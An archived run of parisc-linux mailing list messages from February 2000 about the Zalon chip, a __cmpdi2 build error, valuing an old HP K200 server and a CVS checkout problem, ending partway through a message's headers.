X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6906

mike_clapper@hp.com wrote:
> 
> I believe Zalon is the chip that drives the f/w scsi on the core io card
> in K series and possible others.

Zalon is really just some glue so you can interface some PC-like
controller chips with GSC.  I think it handles interrupts in a parisc
fashion.

We have no docs, and the only reason I know this is that a little birdy
told me.

- Alex


-- 
Alex deVries, Director of Professional Services, The Puffins at
Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:11:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] make Image fails
Date: Tue, 29 Feb 2000 12:03:49 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20000229120349.E9944@thepuffingroup.com>
References: <20000229143417.6180.qmail@web507.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618795 30746 80.91.229.3 (22 Nov 2014 01:13:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: willy@thepuffingroup.com  Tue Feb 29 11:03:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA05553
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 11:03:01 -0700
Original-Received: (qmail 20910 invoked by uid 15267); 29 Feb 2000 17:03:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20903 invoked from network); 29 Feb 2000 17:03:56 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 17:03:56 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id MAA19061;
	Tue, 29 Feb 2000 12:03:49 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000229143417.6180.qmail@web507.mail.yahoo.com>; from Ulrich Strelow on Tue, Feb 29, 2000 at 06:34:16AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6907

On Tue, Feb 29, 2000 at 06:34:16AM -0800, Ulrich Strelow wrote:
> Building the cvs version 20000227 with defconfig fails
> with unsatified symbol __cmpdi2.

[snip]

> I did not find any reference in the source code.
> Grepping through object files as well finds a
> reference in arch/parisc/hpux/fs.o and hpux.o.

__cmpdi2 is one of the `help, help, i don't know how to compile this
arithmetic op' symbols that gcc puts into libgcc1.  Let me have a look
and wee what's producing this.  It may vary depending on gcc version;
what version of gcc are you using?


From - Thu Nov 08 21:11:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Value of an old K-class server?
Date: Wed, 1 Mar 2000 01:06:47 +0800
Lines: 37
Approved: news@gmane.org
Message-ID: <20000301010645.Y30912@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618796 30749 80.91.229.3 (22 Nov 2014 01:13:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:16 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Tue Feb 29 11:06:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA05806
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 11:06:14 -0700
Original-Received: (qmail 23547 invoked by uid 15267); 29 Feb 2000 17:07:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23535 invoked from network); 29 Feb 2000 17:07:11 -0000
Original-Received: from popserver-02.iinet.net.au (203.59.24.148)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 17:07:11 -0000
Original-Received: from guinness.neep.com.au (reggae-18-123.nv.iinet.net.au [203.59.80.123])
	by popserver-02.iinet.net.au (8.9.3/8.9.3) with ESMTP id BAA20339
	for <parisc-linux@thepuffingroup.com>; Wed, 1 Mar 2000 01:07:29 +0800
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id BAA10095
	for parisc-linux@thepuffingroup.com; Wed, 1 Mar 2000 01:06:49 +0800
X-Mailer: Mutt 1.0i
X-URL: http://www.neep.com.au/~andrew/
Xref: news.gmane.org gmane.linux.ports.parisc:6908

Greetings noble list dwellers,

I have emerged from my long lurk to ask for some help on a vaguely related
issue.  I have my eye on a K200 which has been decommissioned, but the
company won't let go of it until someone ("official") can tell them what
it's worth.  I've been waiting for them to just give up and sell it to me
very cheaply, but I don't want to miss my chance.

The lowest-numbered K class machine I can find on HP's website is a K220.
I'm fairly sure the machine I've looked at is a K200, but if this model
never existed then it's probably a 220.  =)

My understanding is that it has a single CPU, either 128 or 256MB of RAM,
and around 16GB of disk.  It also has in it some kind of cradle or something
for putting more memory into it - something that is (apparently) not usually
included with such a beast.

This is in Australia, but if anyone can name a figure in their local currency
I'll work it out.

When or if I get it, it will be joining my HP 375/125 in helping with testing
for the parisc-linux project, hence the vague relation to this list.  =)

Thanks in advance,

Andrew.

P.S.  A quick attempt with HP's on-line calculator says that a new base-line
      K-class (K360, 1 CPU, 1GB RAM, 9GB disk) would cost AUS$85,000.  Eek.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:11:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server?
Date: Tue, 29 Feb 2000 12:24:39 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20000229122439.F9944@thepuffingroup.com>
References: <20000301010645.Y30912@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618796 30754 80.91.229.3 (22 Nov 2014 01:13:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: willy@thepuffingroup.com  Tue Feb 29 11:23:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA06119
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 11:23:52 -0700
Original-Received: (qmail 4157 invoked by uid 15267); 29 Feb 2000 17:24:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4149 invoked from network); 29 Feb 2000 17:24:50 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 17:24:50 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id MAA19109;
	Tue, 29 Feb 2000 12:24:39 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000301010645.Y30912@neep.com.au>; from Andrew Shugg on Wed, Mar 01, 2000 at 01:06:47AM +0800
Xref: news.gmane.org gmane.linux.ports.parisc:6909

On Wed, Mar 01, 2000 at 01:06:47AM +0800, Andrew Shugg wrote:
> The lowest-numbered K class machine I can find on HP's website is a K220.
> I'm fairly sure the machine I've looked at is a K200, but if this model
> never existed then it's probably a 220.  =)

I've just been going through The List of hardware, bashing the hw database
into something more sane.  The K200 did exist, codenamed `Kittyhawk' with
a 100MHz PA7200 CPU in it.  It has an NIO bus in it which is something
we don't have documentation on yet (also known as HP-PB, I think).
The K-class machines probably wont work very soon, but I suspect someone
will eventually get them working.  Mention the cost of getting a support
contract on it if you need to scare management into dropping the price :-)

> When or if I get it, it will be joining my HP 375/125 in helping with testing
> for the parisc-linux project, hence the vague relation to this list.  =)

300 series... aarrrgghh :-)  300/400 series machines are m68k based.
We are sharing their HIL keyboard driver (share in the sense of `copied
and made changes but will merge back later' sense), and Steve Shack
mentioned something about the 300-series STI interface recently.


From - Thu Nov 08 21:11:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rob hoppe <hoppe@mindspring.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server?
Date: Tue, 29 Feb 2000 13:06:32 -0500
Lines: 63
Approved: news@gmane.org
Message-ID: <38BC0AA8.E91FBC00@mindspring.com>
References: <20000301010645.Y30912@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618796 30757 80.91.229.3 (22 Nov 2014 01:13:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: hoppe@mindspring.com  Tue Feb 29 12:05:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA06560
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 12:05:31 -0700
Original-Received: (qmail 7433 invoked by uid 15267); 29 Feb 2000 18:06:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7426 invoked from network); 29 Feb 2000 18:06:30 -0000
Original-Received: from smtp7.atl.mindspring.net (207.69.128.51)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 18:06:30 -0000
Original-Received: from mindspring.com (user-38ld4bp.dialup.mindspring.com [209.86.145.121])
	by smtp7.atl.mindspring.net (8.9.3/8.8.5) with ESMTP id NAA05698;
	Tue, 29 Feb 2000 13:06:14 -0500 (EST)
X-Mailer: Mozilla 4.7 [en] (Win95; U)
X-Accept-Language: en,pdf
Xref: news.gmane.org gmane.linux.ports.parisc:6910

Andrew Shugg wrote:

> Greetings noble list dwellers,
>
> I have emerged from my long lurk to ask for some help on a vaguely related
> issue.  I have my eye on a K200 which has been decommissioned, but the
> company won't let go of it until someone ("official") can tell them what
> it's worth.  I've been waiting for them to just give up and sell it to me
> very cheaply, but I don't want to miss my chance.
>
> The lowest-numbered K class machine I can find on HP's website is a K220.
> I'm fairly sure the machine I've looked at is a K200, but if this model
> never existed then it's probably a 220.  =)
>
> My understanding is that it has a single CPU, either 128 or 256MB of RAM,
> and around 16GB of disk.  It also has in it some kind of cradle or something
> for putting more memory into it - something that is (apparently) not usually
> included with such a beast.
>
> This is in Australia, but if anyone can name a figure in their local currency
> I'll work it out.
>
> When or if I get it, it will be joining my HP 375/125 in helping with testing
> for the parisc-linux project, hence the vague relation to this list.  =)
>
> Thanks in advance,
>
> Andrew.
>
> P.S.  A quick attempt with HP's on-line calculator says that a new base-line
>       K-class (K360, 1 CPU, 1GB RAM, 9GB disk) would cost AUS$85,000.  Eek.
>
> --
> Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/
>
>   "Just remember Basil, there's always someone worse off than yourself."
>   "Oh, really?  I'd like to meet him ... I could do with a good laugh."
>                  [ Sybil and Basil Fawlty, "Fawlty Towers" ]
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

If you can send the info to troy@flagshiptech.com he can tell you the value in
$US.  The tray you are talking about is a memory carrier.  It is faster with two
memory carriers.  The model number is inside of the door on a label.  If you can
provide the model number on the memory troy can tell you the size.  You can call
troy at 7705698188.  Let him know rob sent you his way.

Rob


--
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/                            _/
_/   Rob Hoppe                _/
_/   770-995-5099             _/
_/   770-560-1050 cell        _/
_/   770-338-5885 fax         _/
_/                            _/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/



From - Thu Nov 08 21:11:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Robert Womack" <rwomack@gatesarrow.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Value of an old K-class server?
Date: Tue, 29 Feb 2000 09:57:41 -0500
Lines: 70
Approved: news@gmane.org
Message-ID: <000d01bf82c5$545b48e0$23d81c0a@yw56140.arrow.com>
References: <20000301010645.Y30912@neep.com.au>
Reply-To: <rwomack@gatesarrow.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618797 30761 80.91.229.3 (22 Nov 2014 01:13:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:17 +0000 (UTC)
To: "'Andrew Shugg'" <andrew@neep.com.au>, <parisc-linux@thepuffingroup.com>
Original-X-From: rwomack@gatesarrow.com  Tue Feb 29 12:06:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA06695
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 12:06:26 -0700
Original-Received: (qmail 8293 invoked by uid 15267); 29 Feb 2000 18:07:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8273 invoked from network); 29 Feb 2000 18:07:24 -0000
Original-Received: from gatesarrow.gatesarrow.com (HELO ns.gatesarrow.com) (38.242.100.2)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 18:07:24 -0000
Original-Received: by ns.gatesarrow.com; id MAA10572; Tue, 29 Feb 2000 12:48:57 -0500 (EST)
Original-Received: from mail.gatesarrow.com(10.8.16.2) by gatesarrow.gatesarrow.com via smap (V4.2)
	id xma010441; Tue, 29 Feb 00 12:44:06 -0500
Original-Received: from yw56140 (localhost [127.0.0.1])
	by mail.gatesarrow.com (8.8.8+Sun/8.8.8) with SMTP id NAA09755;
	Tue, 29 Feb 2000 13:02:24 -0500 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
Importance: Normal
In-Reply-To: <20000301010645.Y30912@neep.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:6911

Andrew,

  I too am a lurker in the shadows, but thanks for asking a question for
which I may have part of an answer.  I help HP UNIX salespeople and so have
some resources.

  Value, of course, is what one will pay for something.  In the case of a
K200, the answer is, "Not much."  You may be able to find a broker on the
web who will give you an offer and the offer will be slight.

  If you were purchasing a new HP machine [in the US, naturally], say a
D-Class or cheap L-Class HP would write you a check for $US 1,800 (about
AUS$ 2,900); if you were buying a top K-Class or N-Class, HP would give you
$US 6,000 (about AUS$ 9,250).  In my experience, this is generally no better
than you could get from a broker.

Regards,
              Rob Womack

-----Original Message-----
From: Andrew Shugg [mailto:andrew@neep.com.au]
Sent: Tuesday, February 29, 2000 12:07 PM
To: parisc-linux@thepuffingroup.com
Subject: [parisc-linux] Value of an old K-class server?


Greetings noble list dwellers,

I have emerged from my long lurk to ask for some help on a vaguely related
issue.  I have my eye on a K200 which has been decommissioned, but the
company won't let go of it until someone ("official") can tell them what
it's worth.  I've been waiting for them to just give up and sell it to me
very cheaply, but I don't want to miss my chance.

The lowest-numbered K class machine I can find on HP's website is a K220.
I'm fairly sure the machine I've looked at is a K200, but if this model
never existed then it's probably a 220.  =)

My understanding is that it has a single CPU, either 128 or 256MB of RAM,
and around 16GB of disk.  It also has in it some kind of cradle or something
for putting more memory into it - something that is (apparently) not usually
included with such a beast.

This is in Australia, but if anyone can name a figure in their local
currency
I'll work it out.

When or if I get it, it will be joining my HP 375/125 in helping with
testing
for the parisc-linux project, hence the vague relation to this list.  =)

Thanks in advance,

Andrew.

P.S.  A quick attempt with HP's on-line calculator says that a new base-line
      K-class (K360, 1 CPU, 1GB RAM, 9GB disk) would cost AUS$85,000.  Eek.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]

---------------------------------------------------------------------------
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mike_clapper@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs setup
Date: Tue, 29 Feb 2000 13:32:39 -0500
Lines: 71
Approved: news@gmane.org
Message-ID: <H00007e30eea8638@MHS>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="openmail-part-1f8f759f-00000001"
X-Trace: ger.gmane.org 1416618797 30764 80.91.229.3 (22 Nov 2014 01:13:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mike_clapper@hp.com  Tue Feb 29 12:31:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA07109
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 12:31:44 -0700
Original-Received: (qmail 29970 invoked by uid 15267); 29 Feb 2000 18:32:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29957 invoked from network); 29 Feb 2000 18:32:43 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 18:32:43 -0000
Original-Received: from i3125om3.atl.hp.com (i3125om3.atl.hp.com [15.45.88.72])
	by cosrel1.hp.com (Postfix) with ESMTP id C4ED411A
	for <parisc-linux@thepuffingroup.com>; Tue, 29 Feb 2000 11:33:00 -0700 (MST)
Original-Received: from localhost (root@localhost)
	by i3125om3.atl.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id NAA10594
	for parisc-linux@thepuffingroup.com; Tue, 29 Feb 2000 13:32:46 -0500 (EST)
X-OpenMail-Hops: 1
Xref: news.gmane.org gmane.linux.ports.parisc:6912


--openmail-part-1f8f759f-00000001
Content-Type: application/rtf; name="BDY.RTF"
Content-Disposition: attachment; filename="BDY.RTF"
Content-Transfer-Encoding: base64

e1xydGYxXGFuc2lcYW5zaWNwZzEyNTJcZnJvbXRleHQgXGRlZmYwe1xmb250dGJsDQp7XGYw
XGZzd2lzcyBBcmlhbDt9DQp7XGYxXGZtb2Rlcm4gQ291cmllciBOZXc7fQ0Ke1xmMlxmbmls
XGZjaGFyc2V0MiBTeW1ib2w7fQ0Ke1xmM1xmbW9kZXJuXGZjaGFyc2V0MCBDb3VyaWVyIE5l
dzt9fQ0Ke1xjb2xvcnRibFxyZWQwXGdyZWVuMFxibHVlMDtccmVkMFxncmVlbjBcYmx1ZTI1
NTt9DQpcdWMxXHBhcmRccGxhaW5cZGVmdGFiMzYwIFxmMFxmczIwXGNmMCBIZWxsbyxccGFy
DQpccGFyDQpJIGp1c3Qgam9pbmVkIHRoZSBsaXN0IHNvIHRoaXMgbWF5IGJlIGEgc3R1cGlk
LCBuZXdiaWUgcXVlc3Rpb24gLSBpZiBzbyBJIGFwb2xvZ2l6ZSBpbiBhZHZhbmNlLi4uLlxw
YXINClxwYXINCkkgdHJpZWQgdG8gZm9sbG93IHRoZSB3ZWJwYWdlIGluc3RydWN0aW9ucyBm
b3Igc2V0dGluZyB1cCBhIGJ1aWxkIGVudmlyb25tZW50IG9uIEhQVVggMTEuMC5ccGFyDQpJ
IGNvdWxkIG5vdCB1cGRhdGUgd2l0aCBjdnMgLSBJIGNhbiBsb2cgaW4gYnV0IHRoZW4gZ2V0
ICdjaGVja291dCBhYm9ydGVkJyAtXHBhcg0KXHBhcg0KIyBjdnMgbG9naW5ccGFyDQooTG9n
Z2luZyBpbiB0byBhbm9ueW1vdXNAcHVmZmluLmV4dGVybmFsLmhwLmNvbSlccGFyDQpDVlMg
cGFzc3dvcmQ6IFxwYXINCiMgY3ZzIC16MyBjbyBiaW51dGlscyBlZ2NzIGxpbnV4XHBhcg0K
Y3ZzIHNlcnZlcjogY2Fubm90IGZpbmQgbW9kdWxlIGBlZ2NzJyAtIGlnbm9yZWRccGFyDQpj
dnMgW2NoZWNrb3V0IGFib3J0ZWRdOiBjYW5ub3QgZXhwYW5kIG1vZHVsZXNccGFyDQojIFxw
YXINClxwYXINCkRvZXMgdGhpcyBpbmRpY2F0ZSBhIHByb2JsZW0gd2l0aCBteSBzZXR1cD8g
IEkgd2FzIHN1Y2Nlc3NmdWwgaW4gcmV0cmlldmluZyB0aGUgdGFyYmFsbHMsIGJ1dCB3b3Vs
ZCBsaWtlIHRvIGJlIGFibGUgdG8ga2VlcCBpbiBzeW5jIHdpdGggdGhlIGxhdGVzdCBjb2Rl
LlxwYXINClxwYXINCmJlc3QgcmVnYXJkcyxccGFyDQpccGFyDQpNaWtlXHBhcg0KXHBhcg0K
XHBhcg0KKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKlxw
YXINCk1pa2UgQ2xhcHBlclxwYXINCk5vcnRoIEFtZXJpY2FuIENyaXNpcyBNYW5hZ2VtZW50
IFRlYW1ccGFyDQpIZXdsZXR0IFBhY2thcmRccGFyDQpccGFyDQooNDA1KSA5NDgtNDcxNVxw
YXINCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiogXHBh
cg0KfQ==

--openmail-part-1f8f759f-00000001
Content-Type: application/ms-tnef; name="WINMAIL.DAT"
Content-Disposition: attachment; filename="WINMAIL.DAT"
Content-Transfer-Encoding: base64

eJ8+Ig6IAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5N
aWNyb3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEDkAYADAAAAAEAAAADABcAAQAA
ABwAAQOQBgAMAAAAAQAAAAMANgAAAAAAOgABBIABAAoAAABjdnMgc2V0dXAAnQMBA5AGABAA
AAABAAAAQAA5AICC+FXjgr8B7gQBA5AGAAwAAAABAAAAAwDeP69vAAA/AgEDkAYADAAAAAEA
AAALAAIAAQAAAA8AAQOQBgAoAAAAAQAAAAIBcQABAAAAFgAAAAG/guNV+ABkM9XufxHTsCwA
EKQAG/4AAGQKAQOQBgAcAAAAAQAAAB4AcAABAAAACgAAAGN2cyBzZXR1cAAAADcEAQOQBgAU
AAAAAQAAAB4APQABAAAAAQAAAAAAAABeAAEDkAYAJAAAAAEAAAALAEqCCyAGAAAAAADAAAAA
AAAARgAAAAAFiAAAAAAAAJwCAQOQBgAkAAAAAQAAAAsAS4ILIAYAAAAAAMAAAAAAAABGAAAA
AACIAAAAAAAAmAIBA5AGACwAAAABAAAAHgBMggggBgAAAAAAwAAAAAAAAEYAAAAAOIUAAAEA
AAABAAAAAAAAAOACAQOQBgAsAAAAAQAAAB4ATYIIIAYAAAAAAMAAAAAAAABGAAAAADeFAAAB
AAAAAQAAAAAAAADgAgEDkAYALAAAAAEAAAAeAE6CCCAGAAAAAADAAAAAAAAARgAAAAA2hQAA
AQAAAAEAAAAAAAAA4AIBA5AGACQAAAABAAAAAwBPggggBgAAAAAAwAAAAAAAAEYAAAAAGIUA
AAAAAACmAgEDkAYAJAAAAAEAAAADAFCCCCAGAAAAAADAAAAAAAAARgAAAAARhQAAAAAAAKAC
AQOQBgAkAAAAAQAAAAMAUYIIIAYAAAAAAMAAAAAAAABGAAAAABCFAAAAAAAAoAIBA5AGACQA
AAABAAAACwBSggggBgAAAAAAwAAAAAAAAEYAAAAADoUAAAAAAACnAgEDkAYAJAAAAAEAAAAD
AFOCCCAGAAAAAADAAAAAAAAARgAAAAABhQAAAAAAAJMCAQOQBgAkAAAAAQAAAAsAVIIIIAYA
AAAAAMAAAAAAAABGAAAAAAaFAAAAAAAAoQIBA5AGACwAAAABAAAAHgBVggggBgAAAAAAwAAA
AAAAAEYAAAAAVIUAAAEAAAAEAAAAOC41AKMDAQOQBgAkAAAAAQAAAAMAVoIIIAYAAAAAAMAA
AAAAAABGAAAAAFKFAAA8GAAAOwMBA5AGACAAAAABAAAAAgELMAEAAAAQAAAA0jNkAH/u0xGw
LAAQpAAb/rMGAQOQBgAMAAAAAQAAAAMAgBD/////kAQBA5AGAAwAAAABAAAACwAjAAAAAAAv
AAEDkAYADAAAAAEAAAALACkAAAAAADUAAQSQBgA8AgAAAQAAABIAAAAeAAEwAQAAACIAAAAn
cGFyaXNjLWxpbnV4QHRoZXB1ZmZpbmdyb3VwLmNvbScAAAACAf8PAQAAAF0AAAAAAAAAgSsf
pL6jEBmdbgDdAQ9UAgAAAABwYXJpc2MtbGludXhAdGhlcHVmZmluZ3JvdXAuY29tAFNNVFAA
cGFyaXNjLWxpbnV4QHRoZXB1ZmZpbmdyb3VwLmNvbQAAAAADABUMAQAAAAMAADAAAAAAHgAC
MAEAAAAFAAAAU01UUAAAAAAeABoMAQAAABsAAABNSUtFIENMQVBQRVIgL0hQLVVTQSxvbTI0
AAAAAgEZDAEAAABBAAAAAAAAAI1VTNDsPBHOgf8IAAmxA3oBAAAACwAAAAAAAAAxHUNMQVBQ
RVIeMh1NSUtFHjUdSFAtVVNBHjYdb20yNAAAAAAeAAMwAQAAACAAAABwYXJpc2MtbGludXhA
dGhlcHVmZmluZ3JvdXAuY29tAAIBCzABAAAAJQAAAFNNVFA6UEFSSVNDLUxJTlVYQFRIRVBV
RkZJTkdST1VQLkNPTQAAAAADAP4PBgAAAAMAADkAAAAAAwD/XwAAAAADAP1fAQAAAB4A9l8B
AAAAIAAAAHBhcmlzYy1saW51eEB0aGVwdWZmaW5ncm91cC5jb20AAgH3XwEAAAAsAAAAvwAA
ALU7wsAsdxAaobwIACsqVsIVAAAAOTWBGPIT0hGxTwCAxw4svYSLAAALAA8OAAAEgAsAQDoB
AAAAAwBxOgAAAADYgQ==

--openmail-part-1f8f759f-00000001--


From - Thu Nov 08 21:12:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] branching HOW(NOT)TO
Date: Tue, 29 Feb 2000 15:17:57 -0500
Organization: Legion of Mozilla
Lines: 15
Approved: news@gmane.org
Message-ID: <38BC2975.CCAB5108@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618797 30769 80.91.229.3 (22 Nov 2014 01:13:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Tue Feb 29 14:17:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA08221
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 14:17:30 -0700
Original-Received: (qmail 23135 invoked by uid 15267); 29 Feb 2000 20:18:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23126 invoked from network); 29 Feb 2000 20:18:26 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 20:18:26 -0000
Original-Received: (qmail 29323 invoked from network); 29 Feb 2000 20:16:32 -0000
Original-Received: from unknown (HELO subcarrier.org) (216.208.98.2)
  by relay1.pair.com with SMTP; 29 Feb 2000 20:16:32 -0000
X-pair-Authenticated: 216.208.98.2
Original-Sender: subc@mailserv2.iuinc.com
